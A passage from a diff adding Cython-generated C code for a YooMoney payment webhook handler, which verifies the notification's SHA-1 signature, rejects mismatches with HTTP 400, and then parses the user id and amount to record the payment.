__pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_notification_type}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_kp_u__12); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_operation_id}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_kp_u__12); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_amount}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_kp_u__12); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_currency}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 6, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 7, __pyx_kp_u__12); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_datetime}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 8, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 9, __pyx_kp_u__12); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_sender}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_1, 10, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 11, __pyx_kp_u__12); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_n_u_codepro}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 12, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 13, __pyx_kp_u__12); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_notification_secret, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 14, __pyx_t_5); + __pyx_t_5 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_6 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_1, 15, __pyx_kp_u__12); + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id_str, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); + __Pyx_GIVEREF(__pyx_t_5); + PyTuple_SET_ITEM(__pyx_t_1, 16, __pyx_t_5); + __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyUnicode_Join(__pyx_t_1, 17, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_string_to_hash = ((PyObject*)__pyx_t_5); + __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":150 + * + * # + * calculated_hash = hashlib.sha1(string_to_hash.encode('utf-8')).hexdigest() # <<<<<<<<<<<<<< + * + * # + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_hashlib); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_sha1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyUnicode_AsUTF8String(__pyx_cur_scope->__pyx_v_string_to_hash); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 150, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_calculated_hash = __pyx_t_5; + __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":153 + * + * # + * if calculated_hash != sha1_hash: # <<<<<<<<<<<<<< + * logger.error(" ") + * return web.Response(status=400) + */ + __pyx_t_5 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_calculated_hash, __pyx_cur_scope->__pyx_v_sha1_hash, Py_NE); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 153, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (__pyx_t_9) { + + /* "handlers/payments/yoomoney_pay.py":154 + * # + * if calculated_hash != sha1_hash: + * logger.error(" ") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__13}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":155 + * if calculated_hash != sha1_hash: + * logger.error(" ") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 155, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + goto __pyx_L0; + + /* "handlers/payments/yoomoney_pay.py":153 + * + * # + * if calculated_hash != sha1_hash: # <<<<<<<<<<<<<< + * logger.error(" ") + * return web.Response(status=400) + */ + } + + /* "handlers/payments/yoomoney_pay.py":157 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + { + __Pyx_ExceptionSave(&__pyx_t_10, &__pyx_t_11, &__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_12); + /*try:*/ { + + /* "handlers/payments/yoomoney_pay.py":158 + * + * try: + * user_id = int(user_id_str) # <<<<<<<<<<<<<< + * amount = float(amount_str) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + */ + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 158, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":159 + * try: + * user_id = int(user_id_str) + * amount = float(amount_str) # <<<<<<<<<<<<<< + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(user_id, amount, "yoomoney") + */ + __pyx_t_13 = __Pyx_PyObject_AsDouble(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(__pyx_t_13 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 159, __pyx_L6_error) + __pyx_cur_scope->__pyx_v_amount = __pyx_t_13; + + /* "handlers/payments/yoomoney_pay.py":160 + * user_id = int(user_id_str) + * amount = float(amount_str) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") # <<<<<<<<<<<<<< + * await add_payment(user_id, amount, "yoomoney") + * await update_balance(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_debug); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = PyTuple_New(4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_6 += 31; + __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); + PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_kp_u_Payment_succeeded_for_user_id); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_amount_2); + __pyx_t_6 += 10; + __Pyx_GIVEREF(__pyx_kp_u_amount_2); + PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_kp_u_amount_2); + __pyx_t_3 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_8) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_8); + PyTuple_SET_ITEM(__pyx_t_5, 3, __pyx_t_8); + __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyUnicode_Join(__pyx_t_5, 4, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject 